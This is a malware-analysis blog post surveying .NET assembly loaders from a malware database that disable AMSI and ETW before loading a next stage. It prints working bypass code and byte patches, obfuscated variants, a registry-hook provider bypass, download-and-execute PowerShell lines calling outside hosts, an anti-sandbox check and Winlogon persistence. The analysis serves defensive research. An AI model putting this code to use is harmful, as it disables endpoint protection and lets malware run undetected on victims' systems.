Analysis of .NET AMSI bypass assembly loaders

• 2025 October 17
• malware
• kaibou search services
• dotnet
• AMSI bypass
• assembly loader

Overview #

During our follow up on Phantom Taurus Assembly Executer samples, we analyzed many .NET samples that implemented some kind of AMSI bypass technique. Though we deemed them unrelated to the original Assembly Executers, they are still interesting from a what's inside a malware database standpoint. In this report we analyze the different kinds of samples.

The process of finding these samples was the following. We searched for similar samples to the two original Assembly Executer V2 samples (that implement AMSI and ETW bypass) in our Kaibou Search Services (KSS) database which at the time of writing contains 777 million malware samples. We used the TLSH similarity search functionality with a fairly high threshold of 80. A more conservative and reliable threshold of 40 didn't provide any samples besides the original ones. More details in the Phantom Taurus samples blog post.

The two Assembly Executer samples only differed in their compilation mode, one was compiled in Release mode, whereas the other was in Debug mode. They yielded 11214 and 1894 potentially similar samples. We proceeded with downloading all of them from our database and generating their decompiled source codes with ilspy. Then we searched for the case-insensitive string amsi in them, which resulted in 59 samples and the 2 original samples. We examined all of them manually and sorted them based on their similar code characteristics. In the end there were 27 different sources.

The following is a semi-structured overview of these samples.

Patches #

All of these samples are some kind of loaders, so their purpose is to try to disable some detection techniques and load the next stage afterwards. First we view how samples try to evade detection by overwriting in-process functions that EDRs use to detect malicious code.

amsi.dll:AmsiScanBuffer #

The most common patch target was amsi.dll:AmsiScanBuffer, 33 programs tried to patch this function. This function is used to "Scan a buffer-full of content for malware." ms docs. The usual way to achieve this was to:

1. LoadLibrary("amsi.dll") to memory
2. use GetProcAddress("AmsiScanBuffer") to get its address
3. VirtualProtect() with PAGE_EXECUTE_READWRITE constant to make a few bytes writable at this address.
4. overwrite the first few instructions with something ending in ret
5. restore the previous protection on the memory region

private void BypassAmsi()
{
  string procName = "AmsiScanBuffer";
  IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), procName);
  byte[] array = new byte[6] { 184, 87, 0, 7, 128, 195 };
  VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
  Marshal.Copy(array, 0, procAddress, array.Length);
  VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
}

We observed several different payloads in the samples. The shortest was to just return from the function. This may not work because eax should contain the result code of the funtion call and in this case it is not overwritten so it still holds the value set by the previous function.

C#: { 195 }
00000000  C3                ret

A one step more advanced technique was to also set eax to E_INVALIDARG. This had multiple variants. Some sample distinguished between 32 and 64 bit systems.

Arch: 64 bit
C#: { 184, 87, 0, 7, 128, 195 }
00000000  B857000780        mov eax,0x80070057
00000005  C3                ret

Arch: 32 bit
C#: { 184, 87, 0, 7, 128, 194, 24, 0 }
00000000  B857000780        mov eax,0x80070057
00000005  C21800            ret 0x18

Other samples set this value to eax by setting ax twice and shifting the content up in between. We think this was to evade the common instruction pattern above (directly setting eax).

Arch: 64 bit
C#: { 49, 192, 102, 184, 7, 128, 193, 192, 16, 102, 184, 87, 0, 195 }
00000000  31C0              xor eax,eax
00000002  66B80780          mov ax,0x8007
00000006  C1C010            rol eax,byte 0x10
00000009  66B85700          mov ax,0x57
0000000D  C3                ret

Arch: 32 bit
C#: { 49, 192, 102, 184, 7, 128, 193, 192, 16, 102, 184, 87, 0, 194, 24, 0 }
00000000  31C0              xor eax,eax
00000002  66B80780          mov ax,0x8007
00000006  C1C010            rol eax,byte 0x10
00000009  66B85700          mov ax,0x57
0000000D  C21800            ret 0x18

The final technique was to zero out the edi register right when it should hold the length of the input buffer. So mov edi, r8d where r8d held the buffer length and moved it to edi is overwritten by zeroing out edi with xor edi, edi instruction.

Offset: 27 bytes
C#: { 49, 255, 144 }
00000000  31FF              xor edi,edi
00000002  90                nop

Two samples used the EggHunter method to find AmsiScanBuffer in memory. They search the memory from the address of DllCanUnloadNow for a specific byte pattern that marks the start of AmsiScanBuffer, then overwrite the start just like before.

public static void Patch()
{
  IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), "DllCanUnloadNow");
  byte[] array = new byte[0];
  array = ((IntPtr.Size != 8) ? new byte[10] { 139, 255, 85, 139, 236, 131, 236, 24, 83, 86 } : new byte[24]
  {
    76, 139, 220, 73, 137, 91, 8, 73, 137, 107,
    16, 73, 137, 115, 24, 87, 65, 86, 65, 87,
    72, 131, 236, 112
  });
  IntPtr pointer = FindAddress(procAddress, array);
  pointer = IntPtr.Subtract(pointer, array.Length - 1);
  uint lpflOldProtect = 0u;
  VirtualProtect(pointer, (UIntPtr)5uL, 4u, out lpflOldProtect);
  Marshal.Copy(new byte[6] { 184, 87, 0, 7, 128, 195 }, 0, pointer, 6);
  uint lpflOldProtect2 = 0u;
  VirtualProtect(pointer, (UIntPtr)5uL, lpflOldProtect, out lpflOldProtect2);
}

ntdll.dll:EtwEventWrite #

Event Tracing for Windows is an efficient kernel-level tracing functionality. The .NET runtime sends it logs in json format, it’s gathering information like namespace names, class names, and method names. EDRs can monitor this for suspicious activity. Event Tracing can be bypassed in-process with a similar overwriting technique.

C#: { 195 }
00000000  C3                ret

C#: { 194, 20, 0 }
00000000  C21400            ret 0x14

ntdll.dll:NtTraceEvent #

NtTraceEvent is a function that is exported by ntdll.dll and communicates with the kernel. This function is not documented by Microsoft and is used by ETW to tell the kernel about an event. By making it return immediatelly with a return value of 0, the caller gets the information that the event was processed successfully.

Arch: 64 bit
C#: { 72, 51, 192, 195 }
00000000  4833C0            xor rax,rax
00000003  C3                ret

Arch: 32 bit
C#: { 51, 192, 194, 16, 0 }
00000000  33C0              xor eax,eax
00000002  C21000            ret 0x10

wldp.dll:WldpQueryDynamicCodeTrust #

The Windows Lockdown Policy function WldpQueryDynamicCodeTrust "Retrieves a value that determines if the specified in-memory or on-disk .NET CRL dynamic code is trusted by Device Guard policy" ms docs. The patch code we observed in one of the samples starts with a function prolog, it first saves some registers on the stack, creates a stack frame and fills 58 DWORDs with 0xcccccccc. Loads the QWORD at address 0xf742 relative to the instruction to rcx and makes a call to absolute address 0xfffffffffffff79c, then cleanes up the function.

Arch: 64 bit
C#: {
	68, 137, 68, 36, 24, 72, 137, 84, 36, 16,
	72, 137, 76, 36, 8, 85, 87, 72, 129, 236,
	232, 0, 0, 0, 72, 141, 108, 36, 32, 72,
	139, 252, 185, 58, 0, 0, 0, 184, 204, 204,
	204, 204, 243, 171, 72, 139, 140, 36, 8, 1,
	0, 0, 72, 141, 13, 7, 247, 0, 0, 232,
	92, 247, 255, 255, 51, 192, 72, 141, 165, 200,
	0, 0, 0, 95, 93, 195, 204, 204, 204, 204,
	204, 204, 204, 204, 204, 204, 204, 204, 204, 204,
	204, 204, 204, 204, 204, 204
}
00000000  4489442418        mov [rsp+0x18],r8d
00000005  4889542410        mov [rsp+0x10],rdx
0000000A  48894C2408        mov [rsp+0x8],rcx
0000000F  55                push rbp
00000010  57                push rdi
00000011  4881ECE8000000    sub rsp,0xe8
00000018  488D6C2420        lea rbp,[rsp+0x20]
0000001D  488BFC            mov rdi,rsp
00000020  B93A000000        mov ecx,0x3a
00000025  B8CCCCCCCC        mov eax,0xcccccccc
0000002A  F3AB              rep stosd
0000002C  488B8C2408010000  mov rcx,[rsp+0x108]
00000034  488D0D07F70000    lea rcx,[rel 0xf742]
0000003B  E85CF7FFFF        call 0xfffffffffffff79c
00000040  33C0              xor eax,eax
00000042  488DA5C8000000    lea rsp,[rbp+0xc8]
00000049  5F                pop rdi
0000004A  5D                pop rbp
0000004B  C3                ret
0000004C  CC                int3
0000004D  CC                int3
0000004E  CC                int3
0000004F  CC                int3
00000050  CC                int3
00000051  CC                int3
00000052  CC                int3
00000053  CC                int3
00000054  CC                int3
00000055  CC                int3
00000056  CC                int3
00000057  CC                int3
00000058  CC                int3
00000059  CC                int3
0000005A  CC                int3
0000005B  CC                int3
0000005C  CC                int3
0000005D  CC                int3
0000005E  CC                int3
0000005F  CC                int3

Further examination of the sample that implemented this bypass reveals the PDB path: C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb and the binary has the name vega.dll. It is exactly this binary from inceptor.

Unhook ntdll.dll #

There is also an example of ntdll.dll unhooking. This is done by finding ntdll.dll in the memory of the current process, reading and rewriting the memory. Though this technique would work if it was rewritten with ntdll.dll from disk, the current code only rewrites it with the same data (hooks, patches included if there were any). 2035711 decimal stands for 0x1F0FFF = PROCESS_ALL_ACCESS

private static void UnhookNTDLL()
{
  IntPtr hProcess = OpenProcess(2035711u, bInheritHandle: false, Process.GetCurrentProcess().Id);
  IntPtr moduleHandle = GetModuleHandle("ntdll.dll");
  MODULEINFO lpmodinfo = default(MODULEINFO);
  GetModuleInformation(hProcess, moduleHandle, out lpmodinfo, (uint)Marshal.SizeOf(lpmodinfo));
  byte[] lpBuffer = new byte[lpmodinfo.SizeOfImage];
  ReadProcessMemory(hProcess, moduleHandle, lpBuffer, lpmodinfo.SizeOfImage, out var lpNumberOfBytesRead);
  WriteProcessMemory(hProcess, moduleHandle, lpBuffer, lpmodinfo.SizeOfImage, out lpNumberOfBytesRead);
}

kernelbase.dll:RegOpenKeyExW #

One sample overwrites RegOpenKeyExW with a shellcode to jump to a delegate hook (marked with 0xdeadbeef).

C#: { 72, 184, 0xef, 0xbe, 0xad, 0xde, 80, 195 }
00000000  48                dec eax
00000001  B8EFBEADDE        mov eax,0xdeadbeef
00000006  50                push eax
00000007  C3                ret

This sample saves the original bytes at the beginning of RegOpenKeyExW and overwrites them to jump to RegOpenKeyWDetour. This function resets the original bytes. Then checks whether the registry open request came for subkey Software\Microsoft\AMSI\Providers. This key holds a list of AMSI providers, e.g. {2781761E-28E0–4109–99FE-B9D127C57AFE} stands for Microsoft Defender. When scanning an input, AMSI processes thes registry keys to submit the input for processing to the registered providers. So in the RegOpenKeyWDetour function if the open request came for Software\Microsoft\AMSI\Providers subkey, the function tries to open Software\Microsoft\AMSI\Providers with a space at the end (that doesn't exist). An exception is generated and caught. If this was either the first or the second attempt to read this key, the hook reestablishes itself, otherwise it lets the original RegOpenKeyExW process the request. To sum it up, it blocks the first two attempts to read this registry key, so AMSI scans see 0 providers.

public static int oldProtect;

public static IntPtr targetAddr;

public static IntPtr hookAddr;

public static byte[] originalBytes = new byte[12];

public static byte[] hookBytes = new byte[12];

public static int counter = 0;

public static string thekey = "Software\\Microsoft\\AMSI\\Providers";

public static DelegateRegOpenKeyExW A;

public static void DisappearKey()
{
  A = RegOpenKeyWDetour;
  targetAddr = GetProcAddress(GetModuleHandle("KERNELBASE.dll"), "RegOpenKeyExW");
  hookAddr = Marshal.GetFunctionPointerForDelegate(A);
  Marshal.Copy(targetAddr, originalBytes, 0, 12);
  hookBytes = new byte[2] { 72, 184 }.Concat(BitConverter.GetBytes((long)hookAddr)).Concat(new byte[2] { 80, 195 }).ToArray();
  VirtualProtect(targetAddr, 12, 64, out oldProtect);
  Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length);
}

public static int RegOpenKeyWDetour(IntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out IntPtr phkResult)
{
  try
  {
    Marshal.Copy(originalBytes, 0, targetAddr, hookBytes.Length);
    if (lpSubKey == thekey)
    {
      counter++;
      return RegOpenKeyExW(hKey, thekey + " ", ulOptions, samDesired, out phkResult);
    }
    return RegOpenKeyExW(hKey, lpSubKey, ulOptions, samDesired, out phkResult);
  }
  finally
  {
    if (counter < 3)
    {
      Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length);
    }
  }
}

GetSystemLockdownPolicy #

SystemEnforcementMode can take 3 values: None, Audit, Enforce. In audit mode, PowerShell runs the untrusted scripts in ConstrainedLanguage mode but logs messages to the event log instead of throwing errors. The log messages describe what restrictions would apply if the policy were in Enforce mode. With this overwrite, GetSystemLockdownPolicy will always return None.

C#: { 72, 49, 192, 195 }
00000000  4831C0            xor rax,rax
00000003  C3                ret

Patch Obfuscation #

Some sample obfuscate the patches so that static analysis tools cannot alert on popular byte sequences that could indicate AMSI bypass. Here, the sample has a hardcoded xor key chtpt and the payloads are in base64-encoded format.

private byte[] getETWPayload()
{
  if (!is64Bit())
  {
    return MyDecode("whQA");
  }
  return MyDecode("ww==");
}

private byte[] getAMSIPayload()
{
  if (!is64Bit())
  {
    return MyDecode("uFcAB4DCGAA=");
  }
  return MyDecode("uFcAB4DD");
}

private byte[] MyDecode(string _Input)
{
  string key = "chtpt";
  return XorDecode(Convert.FromBase64String(_Input), key);
}

private byte[] XorDecode(byte[] _Input, string _Key)
{
  int num = 0;
  int length = _Key.Length;
  int i = 0;
  for (int num2 = _Input.Length; i < num2; i++)
  {
    char c = _Key[num];
    _Input[i] = Convert.ToByte(_Input[i] ^ c);
    num = (num + 1) % length;
  }
  return _Input;
}

Another sample has each byte value incremented by 1 in the patch payload:

IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
byte[] array = new byte[6] { 185, 88, 1, 8, 129, 196 };
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var _);
for (int i = 0; i < array.Length; i++)
{
  Marshal.Copy(new byte[1] { (byte)(array[i] - 1) }, 0, procAddress + i, 1);
}

Another just xored the bytes with 0xdeadbeefcafebabe.

private static byte[] GetPatch
{
  get
  {
    byte[] s = new byte[6] { 102, 250, 190, 232, 74, 61 };
    byte[] s2 = new byte[8] { 102, 250, 190, 232, 74, 60, 162, 190 };
    if (Is64Bit)
    {
      return handle(s, 6);
    }
    return handle(s2, 8);
  }
}
public static byte[] handle(byte[] s, int l)
{
  byte[] array = new byte[8] { 222, 173, 190, 239, 202, 254, 186, 190 };
  byte[] array2 = new byte[l];
  for (int i = 0; i < l; i++)
  {
    array2[i] = Convert.ToByte(s[i] ^ array[i % 8]);
  }
  return array2;
}

Loaded code #

After disabling some detection techniques, it's time to load the payload for the next stage. This is most of the time x86 binary code bytes. In this section we describe the methods, the various samples use to load assemblies.

The most common technique it to use Assembly.Load() on an array of bytes and then Invoke() its EntryPoint.

Assembly assembly = Assembly.Load(assemblyData);
MethodInfo entryPoint = assembly.EntryPoint;
entryPoint.Invoke(null, parameters);

A similar one was to instantiate a type from the assembly and invoke a member function.

Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType("OttoStager.OttoStager");
object target = Activator.CreateInstance(type);
type.InvokeMember("OttoStager", BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, null, target, null);

object obj = Assembly.Load(memoryStream.ToArray()).CreateInstance("stagetwo.Yeet");
obj.GetType().GetMethod("main").Invoke(obj, new object[2]
{
  ((object)this).GetType().Assembly.Location,
  streamReader
});

Another method was to create a thread with intPtr as startaddress, pointing to a shellcode.

hThread = CreateThread(IntPtr.Zero, 0u, intPtr, IntPtr.Zero, 0u, ref lpThreadId);
if (!(IntPtr.Zero == hThread))
{
  WaitForSingleObject(hThread, uint.MaxValue);
}

Others created PowerShell runspaces after bypassing AMSI. In the started runspace, AMSI is disabled so the executed PowerShell code won't trigger detection this way.

ConsoleShell.Start(RunspaceConfiguration.Create(), "Banner", "Help", new string[3] { "-exec", "bypass", "-nop" });

private static string RunScript(string script)
{
  Runspace val = RunspaceFactory.CreateRunspace();
  val.Open();
  Pipeline obj = val.CreatePipeline();
  obj.Commands.AddScript(script);
  obj.Commands.Add("Out-String");
  Collection<PSObject> collection = obj.Invoke();
  val.Close();
  StringBuilder stringBuilder = new StringBuilder();
  foreach (PSObject item in collection)
  {
    stringBuilder.AppendLine(((object)item).ToString());
  }
  return stringBuilder.ToString();
}

Assembly sources #

The executed assembly code comes from different sources. Some just read it encoded from standard input.

streamReader = new StreamReader(Console.OpenStandardInput());
text = streamReader.ReadLine();
GZipStream gZipStream = new GZipStream(new MemoryStream(Convert.FromBase64String(text)), CompressionMode.Decompress);
MemoryStream memoryStream = new MemoryStream();
gZipStream.CopyTo(memoryStream);

Some download a binary or powershell script after bypassing AMSI.

// IEX ((new-object net.webclient).downloadstring('http://106.52.219.135:81/a'))
RunScript(Base64Decode("SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzEwNi41Mi4yMTkuMTM1OjgxL2EnKSk="))

iex(new-object net.webclient).downloadstring('http://10.10.15.74/amsi.ps1')

iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')

byte[] rawAssembly = webClient.DownloadData("http://10.10.120.20:81/customgrunt.exe");

byte[] rawAssembly = webClient.DownloadData("http://192.168.0.18:8181/httpgrunt.exe");

byte[] array = DownloadBeacon("https://your-server.com/sliver_beacon.bin");
ExecuteReflectiveAssembly(XorDecrypt(array, "NHANTIEU"));

byte[] rawAssembly = webClient.DownloadData("http://dead1.net/deadTry.exe");

Some just read it from a file.

string path = "2.txt";
string input = File.ReadAllText(path);
string s = ReverseObfuscateString(input);
byte[] compressedData = Convert.FromBase64String(s);
Assembly asm = DecompressAssembly(compressedData);
CreateAndInvokeMethod(asm, "GodPotato.Program", "Main", args);

public static string AssemblyDirectory => Path.GetDirectoryName(Uri.UnescapeDataString(new UriBuilder(Assembly.GetExecutingAssembly().CodeBase).Path));
Assembly.LoadFrom(Path.Combine(AssemblyDirectory, "..", "PowerShellProtect.dll"));

Groups and purposes #

As you can see many samples load code from private IP addresses, have templated text in them. These are most likely not associated with malicious actors, some of them are test programs compiled from a PoC project on GitHub. Some are just learning artifacts, some are for red teaming. Some of the samples are obviously coming from the same source, some even show signs of incremental development.

GitHub projects #

This first group consists of samples that can be matched to GitHub projects based on their PDBs, decompiled source code structure. These could be compiled by anyone on their machines and they somehow made it to VirusTotal and our database.

Crybat #

12 samples are different development versions or copies of Crybat, formerly Jlaive. The original repository has beed deleted but there are forks where we can still view the original source code.

bypass-clm #

6 samples are develpment versions of bypass-clm, a PowerShell Constrained Language Mode Bypass program from different user machines (based on .pdb)

Invoke-Knockout #

One sample is Invoke-Knockout, though not the precompiled version on github.

TrollDisappearKey #

The sample that made AMSI Providers registry key disappear was TrollDisappearKey, it is nearly the same source.

Inceptor #

As we've already mentioned there was sample vega.dll which is exactly vega.dll from inceptor.

FullBypass #

4 samples are slightly modified versions of FullBypass.

MemoryLoader #

One sample's pdb path contains flareadmin and the source matches MemoryLoader.

Learning, RedTeaming #

Another group of samples are not compiled from publically available code on GitHub but still show signs of being used for learning these techniques or being part of red teaming exercises.

Assembly from private IP #

There were 4 samples that loaded assemblies from private IP addresses.

iex(new-object net.webclient).downloadstring('http://10.10.15.74/amsi.ps1')

iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')

byte[] rawAssembly = webClient.DownloadData("http://10.10.120.20:81/customgrunt.exe");

byte[] rawAssembly = webClient.DownloadData("http://192.168.0.18:8181/httpgrunt.exe");

And two other samples are very much similar to the last two, probably developed from the same ASBBypass code.

One contains templated assembly download URL https://your-server.com/sliver_beacon.bin and RedTeamCode\Redteam_shellcode in pdb path.

Learning #

Some samples indicate they are part of someone's learning process. LearningLoadAssembly is in pdb path, LoadMe.DoStuff for executed type.

One has shellcodes-lab-csharp in its pdb path.

Malware related #

Other samples are neither compiled from publically available code, nor show signs of non-malicious intent. We consider samples malware related if their code, name or pdb path doesn't contain any hints on them having another purpose.

One sample loads GodPotato.

Two samples check whether there are at least 40 processes running on the system. Probably to only execute on non-honeypot or dynamic analysis systems. One actually exits if there are too few, the other one just prints and error message and continues.

if (Process.GetProcesses().Length < 40)
{
  Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
  Environment.Exit(0);
}

The IP address 106.52.219.135 that 2b9380...60b40f sample uses to download the next payload doesn't have many detections on VirusTotal.

7 samples instantiate stagetwo.Yeet class in them and don't have PDB paths.

One sample checks whether the host OS is Windows 10 and only performs AMSI patching if it is.

string? text = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", null).ToString();
if (text.Contains("10"))
{
  Patch();
}

One sample downloads the next stage from http://dead1.net/deadTry.exe, which appears to be quite malicious with 56 detections on VirusTotal.

One sample sets its process's main module to be automatically executed on winlogon.

Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", writable: true).SetValue("Shell", "explorer.exe," + Process.GetCurrentProcess().MainModule.FileName + ",");

Summary #

In this blog post we analyzed .NET assembly loader samples implementing some kind of AMSI bypass technique. These were just a few samples from our database that came as a result of a previous research about Phantom Taurus samples. Follow up investigation could involve searching for similar samples to the interesting ones detailed in this report, see how many variants there are, how they evolved. As it is visible not all samples in our malware repository or VirusTotal or any other database are threat actor related. Many of them come from ordenary people trying out public repositories, learning about bypass techniques. But there are many related to malicious actors of course, these are usually the more interesting ones.

The full list of mentioned samples is available in .csv format

• Previous post: Pwning a nuclear-grade entrance control system easily
• Next post: Phantom Taurus related samples

Want to message us? Contact us: blog@ukatemi.com